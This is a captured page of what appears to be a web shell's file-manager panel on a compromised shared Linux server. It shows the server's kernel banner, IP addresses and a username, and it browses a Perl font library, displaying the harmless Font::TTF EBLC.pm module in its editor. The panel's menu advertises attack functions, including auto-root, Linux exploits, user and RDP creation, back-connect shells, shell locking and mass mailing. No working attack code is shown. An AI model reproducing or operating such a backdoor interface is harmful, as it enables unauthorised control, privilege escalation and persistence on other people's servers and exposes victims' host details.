Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
Font /
TTF /
[ HOME SHELL ]
Name
Size
Permission
Action
Features
[ DIR ]
drwxr-xr-x
Kern
[ DIR ]
drwxr-xr-x
Mort
[ DIR ]
drwxr-xr-x
Woff
[ DIR ]
drwxr-xr-x
AATKern.pm
2.89
KB
-rw-r--r--
AATutils.pm
23.07
KB
-rw-r--r--
Anchor.pm
4.8
KB
-rw-r--r--
Bsln.pm
3.72
KB
-rw-r--r--
Changes_old.txt
2.17
KB
-rw-r--r--
Cmap.pm
23.91
KB
-rw-r--r--
Coverage.pm
8.38
KB
-rw-r--r--
Cvt_.pm
1.4
KB
-rw-r--r--
DSIG.pm
1.97
KB
-rw-r--r--
Delta.pm
3.39
KB
-rw-r--r--
Dumper.pm
2.56
KB
-rw-r--r--
EBDT.pm
7.16
KB
-rw-r--r--
EBLC.pm
6.3
KB
-rw-r--r--
Fdsc.pm
2.18
KB
-rw-r--r--
Feat.pm
4.44
KB
-rw-r--r--
Fmtx.pm
1.96
KB
-rw-r--r--
Font.pm
29.07
KB
-rw-r--r--
Fpgm.pm
1.66
KB
-rw-r--r--
GDEF.pm
13.64
KB
-rw-r--r--
GPOS.pm
20.74
KB
-rw-r--r--
GSUB.pm
8.64
KB
-rw-r--r--
Glat.pm
3.42
KB
-rw-r--r--
Gloc.pm
2.56
KB
-rw-r--r--
Glyf.pm
3.68
KB
-rw-r--r--
Glyph.pm
25.25
KB
-rw-r--r--
GrFeat.pm
8.33
KB
-rw-r--r--
Hdmx.pm
3.12
KB
-rw-r--r--
Head.pm
5.84
KB
-rw-r--r--
Hhea.pm
3.54
KB
-rw-r--r--
Hmtx.pm
4.61
KB
-rw-r--r--
Kern.pm
8.5
KB
-rw-r--r--
LTSH.pm
1.67
KB
-rw-r--r--
Loca.pm
4.72
KB
-rw-r--r--
Manual.pod
8.96
KB
-rw-r--r--
Maxp.pm
4.17
KB
-rw-r--r--
Mort.pm
2.1
KB
-rw-r--r--
Name.pm
27.78
KB
-rw-r--r--
OS_2.pm
38.07
KB
-rw-r--r--
OTTags.pm
42.94
KB
-rw-r--r--
OldCmap.pm
9.66
KB
-rw-r--r--
OldMort.pm
25.53
KB
-rw-r--r--
PCLT.pm
2.49
KB
-rw-r--r--
PSNames.pm
132.77
KB
-rw-r--r--
Post.pm
9.53
KB
-rw-r--r--
Prep.pm
1.61
KB
-rw-r--r--
Prop.pm
3.47
KB
-rw-r--r--
Segarr.pm
9.53
KB
-rw-r--r--
Silf.pm
28.24
KB
-rw-r--r--
Sill.pm
3.2
KB
-rw-r--r--
Table.pm
11.15
KB
-rw-r--r--
Ttc.pm
3.87
KB
-rw-r--r--
Ttopen.pm
44.24
KB
-rw-r--r--
Useall.pm
2.16
KB
-rw-r--r--
Utils.pm
18.51
KB
-rw-r--r--
Vhea.pm
3.57
KB
-rw-r--r--
Vmtx.pm
1.66
KB
-rw-r--r--
Win32.pm
1.08
KB
-rw-r--r--
Woff.pm
1.09
KB
-rw-r--r--
XMLparse.pm
5.49
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : EBLC.pm
package Font::TTF::EBLC; =head1 NAME Font::TTF::EBLC - Embeeded Bitmap Location Table =head1 DESCRIPTION Contains the sizes and glyph ranges of bitmaps, and the offsets to glyph bitmap data in indexSubTables for EBDT. Possibly contains glyph metrics information. =head1 INSTANCE VARIABLES The information specified 'B<(R)>ead only' is read only, those are calculated from EBDT, when it is 'update'-ed. =over 4 =item bitmapSizeTable An array of tables of following information =over 8 =item indexSubTableArrayOffset (R) =item indexTablesSize (R) =item numberOfIndexSubTables (R) =item colorRef =item hori =item vert =item startGlyphIndex (R) =item endGlyphIndex (R) =item ppemX =item ppemY =item bitDepth =item flags =back =item indexSubTableArray (R) An array which contains range information. =item indexSubTable (R) An array which contains offsets of EBDT table. =back =head1 METHODS =cut use strict; use vars qw(@ISA); require Font::TTF::Table; @ISA = qw(Font::TTF::Table); =head2 $t->read Reads the location information of embedded bitmap from the TTF file into memory =cut sub read { my ($self) = @_; $self->SUPER::read or return $self; my ($fh) = $self->{' INFILE'}; my ($i, $dat); my ($indexSubTableArrayOffset, $indexTablesSize, $numberOfIndexSubTables, $colorRef); my ($startGlyphIndex, $endGlyphIndex, $ppemX, $ppemY, $bitDepth, $flags); my (@hori, @vert); my ($bst, $ista, $ist); my ($j); # eblcHeader $fh->read($dat, 4); $self->{'version'} = unpack("N",$dat); $fh->read($dat, 4); $self->{'Num'} = unpack("N",$dat); # bitmapSizeTable for ($i = 0; $i < $self->{'Num'}; $i++) { $fh->read($dat, 16); ($indexSubTableArrayOffset, $indexTablesSize, $numberOfIndexSubTables, $colorRef) = unpack("NNNN", $dat); $fh->read($dat, 12); @hori = unpack("cccccccccccc", $dat); $fh->read($dat, 12); @vert = unpack("cccccccccccc", $dat); $fh->read($dat, 8); ($startGlyphIndex, $endGlyphIndex, $ppemX, $ppemY, $bitDepth, $flags) = unpack("nnCCCC", $dat); $self->{'bitmapSizeTable'}[$i] = { 'indexSubTableArrayOffset' => $indexSubTableArrayOffset, 'indexTablesSize' => $indexTablesSize, 'numberOfIndexSubTables' => $numberOfIndexSubTables, 'colorRef' => $colorRef, 'hori' => [@hori], 'vert' => [@vert], 'startGlyphIndex' => $startGlyphIndex, 'endGlyphIndex' => $endGlyphIndex, 'ppemX' => $ppemX, 'ppemY' => $ppemY, 'bitDepth' => $bitDepth, 'flags' => $flags }; } for ($i = 0; $i < $self->{'Num'}; $i++) { my ($count, $x); $bst = $self->{'bitmapSizeTable'}[$i]; for ($j = 0; $j < $bst->{'numberOfIndexSubTables'}; $j++) { $ista = {}; # indexSubTableArray $self->{'indexSubTableArray'}[$i][$j] = $ista; $fh->read($dat, 8); ($ista->{'firstGlyphIndex'}, $ista->{'lastGlyphIndex'}, $ista->{'additionalOffsetToIndexSubtable'}) = unpack("nnN", $dat); } # indexSubTable # indexSubHeader $fh->read($dat, 8); ($bst->{'indexFormat'}, $bst->{'imageFormat'}, $bst->{'imageDataOffset'}) = unpack("nnN", $dat); die "Only indexFormat == 1 is supported" unless ($bst->{'indexFormat'} == 1); for ($j = 0; $j < $bst->{'numberOfIndexSubTables'}; $j++) { $ista = $self->{'indexSubTableArray'}[$i][$j]; $count = $ista->{'lastGlyphIndex'} - $ista->{'firstGlyphIndex'} + 1 + 1; $fh->seek($self->{' OFFSET'} + $bst->{'indexSubTableArrayOffset'} + $ista->{'additionalOffsetToIndexSubtable'} + 8, 0); # $count += 2 if $j < $bst->{'numberOfIndexSubTables'} - 1; $fh->read($dat, 4*$count); $self->{'indexSubTable'}[$i][$j] = [unpack("N*", $dat)]; } } $self; } =head2 $t->out($fh) Outputs the location information of embedded bitmap for this font. =cut sub out { my ($self, $fh) = @_; my ($i); return $self->SUPER::out($fh) unless $self->{' read'}; my ($bst_array) = $self->{'bitmapSizeTable'}; $fh->print(pack("N", 0x00020000)); $fh->print(pack("N", $self->{'Num'})); for ($i = 0; $i < $self->{'Num'}; $i++) { my ($bst) = $bst_array->[$i]; $fh->print(pack("NNNN", $bst->{'indexSubTableArrayOffset'}, $bst->{'indexTablesSize'}, $bst->{'numberOfIndexSubTables'}, $bst->{'colorRef'})); $fh->print(pack("cccccccccccc", @{$bst->{'hori'}})); $fh->print(pack("cccccccccccc", @{$bst->{'vert'}})); $fh->print(pack("nnCCCC", $bst->{'startGlyphIndex'}, $bst->{'endGlyphIndex'}, $bst->{'ppemX'}, $bst->{'ppemY'}, $bst->{'bitDepth'}, $bst->{'flags'})); } for ($i = 0; $i < $self->{'Num'}; $i++) { my ($bst) = $bst_array->[$i]; my ($j); for ($j = 0; $j < $bst->{'numberOfIndexSubTables'}; $j++) { my ($ista) = $self->{'indexSubTableArray'}[$i][$j]; $fh->print("nnN", $ista->{'firstGlyphIndex'}, $ista->{'lastGlyphIndex'}, $ista->{'additionalOffsetToIndexSubtable'}); } $fh->print(pack("nnN", $bst->{'indexFormat'}, $bst->{'imageFormat'}, $bst->{'imageDataOffset'})); die "Only indexFormat == 1 is supported" unless ($bst->{'indexFormat'} == 1); for ($j = 0; $j < $bst->{'numberOfIndexSubTables'}; $j++) { $fh->print(pack("N*", $self->{'indexSubTable'}[$i][$j])); } } } 1; =head1 BUGS Only indexFormat ==1 is implemented. XML output is not supported (yet). =head1 AUTHOR NIIBE Yutaka L<mailto:gniibe@fsij.org>. This was written at the CodeFest Akihabara 2006 hosted by FSIJ. Patch sent with licensing requirements?? =head1 LICENSING Copyright (c) 1998-2016, SIL International (http://www.sil.org) This module is released under the terms of the Artistic License 2.0. For details, see the full text of the license in the file LICENSE. =cut
Close